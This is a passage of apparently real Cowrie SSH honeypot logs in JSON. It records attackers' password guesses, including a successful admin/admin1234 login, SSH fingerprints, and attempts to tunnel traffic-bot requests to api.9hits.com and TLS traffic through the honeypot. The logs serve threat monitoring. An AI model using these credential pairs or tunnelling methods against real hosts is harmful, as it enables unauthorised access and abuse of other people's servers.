\\xfa~\\x96\\x15\\x08\\xbc%\\x04\\xee.\\x9a\\xe5\\xacc|\\xe3\\xdf\\xf5\\xac\\xb9\\xd8\\x16\\xb5`\"\\xa6\\xf78\\x13\\n\\xbcS\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5\\x81\\x0f\\xb47I\\x1ej\\xa04\\xd8\\x14\\xae#\\x8aw\\x95\\x9d\\xe0\\xe4C\\xe8d36\\x13U\\x80\\x1a\\xba\\xa7&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:39.599723Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:39.730149Z","src_ip":"91.92.40.36","session":"d183db6ba577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:40.039361Z","src_ip":"113.164.152.20","session":"50629063b279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32346,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0dec3edec4","protocol":"ssh","message":"New connection: 91.92.40.36:32346 (159.203.135.109:22) [session: 5c0dec3edec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:41.083402Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pa$word","message":"login attempt [guest/pa$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:42.486241Z","src_ip":"91.92.40.36","session":"e6742fe8dde4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:42.655273Z","src_ip":"91.92.40.36","session":"5c0dec3edec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:42.658431Z","src_ip":"91.92.40.36","session":"5c0dec3edec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:45.491427Z","src_ip":"91.92.40.36","session":"e6742fe8dde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54672,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b1227c0853a","protocol":"ssh","message":"New connection: 91.92.40.36:54672 (159.203.135.109:22) [session: 1b1227c0853a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:46.870341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:49.618048Z","src_ip":"91.92.40.36","session":"1b1227c0853a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:49.620974Z","src_ip":"91.92.40.36","session":"1b1227c0853a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"54321","message":"login attempt [mysql/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:52.257101Z","src_ip":"91.92.40.36","session":"5c0dec3edec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54704,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6072075bbac","protocol":"ssh","message":"New connection: 91.92.40.36:54704 (159.203.135.109:22) [session: f6072075bbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:53.163884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:56.391470Z","src_ip":"91.92.40.36","session":"f6072075bbac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:56.394352Z","src_ip":"91.92.40.36","session":"f6072075bbac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:56.538728Z","src_ip":"91.92.40.36","session":"5c0dec3edec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":60090,"dst_ip":"10.17.0.5","dst_port":22,"session":"79942157052e","protocol":"ssh","message":"New connection: 173.208.192.194:60090 (10.17.0.5:22) [session: 79942157052e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:56.928468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:56.932963Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:57.031708Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:58.080828Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:58.561825Z","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:58.596112Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/611.2.7.1.4 (KHTML, like Gecko) Version/9.1.2 Safari/611.2.7.1.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=anBIWG5rIXhEaCtke2RJdg%3D%3D7G21swjk9jF%2FPGXhIy%2FlgpJcNdEiToiWZ4BFD98nRN%2BsPJvh%2FCU73w96i9LtJ93GTN%2B3MB4SI1iQJVDLORyimZw1n2TuYk1Zw1y1S%2FW6D5xFek1Crz3N6E06eRmw%2BN49AAXnbYWoiBSdPYz7QuzlqiEZLh2DHB3d%2BpbetxfYKOnxutxSZ%2BJvWWLCMfkoDQAf5RJ0SllkxfEJFw8XKsgCp31jNUbxa6POgHYosN9wW03V7KrFqwd6NpbptY659lJD7Km383mrrYUWozOI0MX5V6OFoleVGLyr2cJwwcrK3jZU4O%2FIa3xfrC3ejsTAxpiqQYF4ohnTjVjxccJl1%2BKRZiHdVEgUlmAnaheF4XEHeKIv2nF5vQ3HXMRAkQ%2FGT3qKpUD4NYaA0L%2BFrjwX3GS3oKT2c5Tu7vIFxjXYXkwl%2F5Co51HPeR8I0PAVu%2FGytHshguBEAS%2BJkfOr5hxt51KH2unPrdibTHKFhTSeWVdwbqIBUxJi8TapPL%2FN9gJfSfiv1goBTpbvUjohUWsYGoTPkIwkKZREzs1tlr%2FipTuTFjnCLhRf%2FXyd52Hxwl5UgqZkxJtRchRCYHpv9XtVlvR1wY8DS0UHpW94ZwKyuzMrj9YcYtfW8Hs6CV3m0gHTww14%2BROAwQbkY77iQFAWp0GV3jdbXeovw%2BEMIkk4uL17le6IZuMM%2FvEuMNaW3TFHX9reJbTQhLaQiaj77ClWfW2IP4RMj32ZcDOXgYNJnrGN3u%2BGV5Z3t8hffuXxHWonBpP6TunsaP3t26og7sA7hzsPgEGOZ3bB0PMKEJ7%2FnzkauCrO4wu%2B8dAXkFZILF%2Fh9OSVtkrYVfzRsDNqlv2cCwF6gcK%2B0IMVYfe54%2B0LTZEQJdp%2FtqFlWifqjudEbc%2FoUjjkoWGtJZn2J%2Bb1QRR40XPujJT24DYL1bYk7cpcnHHSa0Hnykrre%2BDJhEPQX3I9Gnr1%2Bn92CC1u2EXeUpFcVutLW8op4Zv7xmacmrOmb6sFS08ay1yb2oj%2B9hHro2p%2BQqx3puW7%2FXQjY4pykb%2BQNmRdicaJCWhIi8doi3qa50yKuwMD9L5pYh93sGIbEfBvM327'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/611.2.7.1.4 (KHTML, like Gecko) Version/9.1.2 Safari/611.2.7.1.4\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=anBIWG5rIXhEaCtke2RJdg%3D%3D7G21swjk9jF%2FPGXhIy%2FlgpJcNdEiToiWZ4BFD98nRN%2BsPJvh%2FCU73w96i9LtJ93GTN%2B3MB4SI1iQJVDLORyimZw1n2TuYk1Zw1y1S%2FW6D5xFek1Crz3N6E06eRmw%2BN49AAXnbYWoiBSdPYz7QuzlqiEZLh2DHB3d%2BpbetxfYKOnxutxSZ%2BJvWWLCMfkoDQAf5RJ0SllkxfEJFw8XKsgCp31jNUbxa6POgHYosN9wW03V7KrFqwd6NpbptY659lJD7Km383mrrYUWozOI0MX5V6OFoleVGLyr2cJwwcrK3jZU4O%2FIa3xfrC3ejsTAxpiqQYF4ohnTjVjxccJl1%2BKRZiHdVEgUlmAnaheF4XEHeKIv2nF5vQ3HXMRAkQ%2FGT3qKpUD4NYaA0L%2BFrjwX3GS3oKT2c5Tu7vIFxjXYXkwl%2F5Co51HPeR8I0PAVu%2FGytHshguBEAS%2BJkfOr5hxt51KH2unPrdibTHKFhTSeWVdwbqIBUxJi8TapPL%2FN9gJfSfiv1goBTpbvUjohUWsYGoTPkIwkKZREzs1tlr%2FipTuTFjnCLhRf%2FXyd52Hxwl5UgqZkxJtRchRCYHpv9XtVlvR1wY8DS0UHpW94ZwKyuzMrj9YcYtfW8Hs6CV3m0gHTww14%2BROAwQbkY77iQFAWp0GV3jdbXeovw%2BEMIkk4uL17le6IZuMM%2FvEuMNaW3TFHX9reJbTQhLaQiaj77ClWfW2IP4RMj32ZcDOXgYNJnrGN3u%2BGV5Z3t8hffuXxHWonBpP6TunsaP3t26og7sA7hzsPgEGOZ3bB0PMKEJ7%2FnzkauCrO4wu%2B8dAXkFZILF%2Fh9OSVtkrYVfzRsDNqlv2cCwF6gcK%2B0IMVYfe54%2B0LTZEQJdp%2FtqFlWifqjudEbc%2FoUjjkoWGtJZn2J%2Bb1QRR40XPujJT24DYL1bYk7cpcnHHSa0Hnykrre%2BDJhEPQX3I9Gnr1%2Bn92CC1u2EXeUpFcVutLW8op4Zv7xmacmrOmb6sFS08ay1yb2oj%2B9hHro2p%2BQqx3puW7%2FXQjY4pykb%2BQNmRdicaJCWhIi8doi3qa50yKuwMD9L5pYh93sGIbEfBvM327'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:58.600179Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malinda","password":"malinda","message":"login attempt [malinda/malinda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:00.571553Z","src_ip":"91.92.40.36","session":"1b1227c0853a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:00.830678Z","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:00.866054Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\xac\\xd3\\xf9=\\xcan\\xef\\x12p\\xed\\xbb\\x05\\xe6\\xf3\\xa7\\xe5\\xca\\xcb\\xaa\\x9f\\xb6\\xaa`D\\x07\\xd6Z\\x9cq\\xd9\\x93 T\\x13\\t\\x1e/5\\x8f`\\x98\\xff\\xec:\\xeb>\\x8d\\xa6D\\x97\\x9d\\xc6\\x8d\\x96\\xde\\x99\\xa4\\xb6\\xe3\\xb6\"\\x90\\xc14\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\xb5\\x82w\\x12\\x99\\x12\\xa9\\x96\\x81\\x91\\x16*\\x98\\xfa\\xc8!hL\\xfc\\xabv\\xee\\xe8s,\\xd2N\\xfe\\xe8z\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data 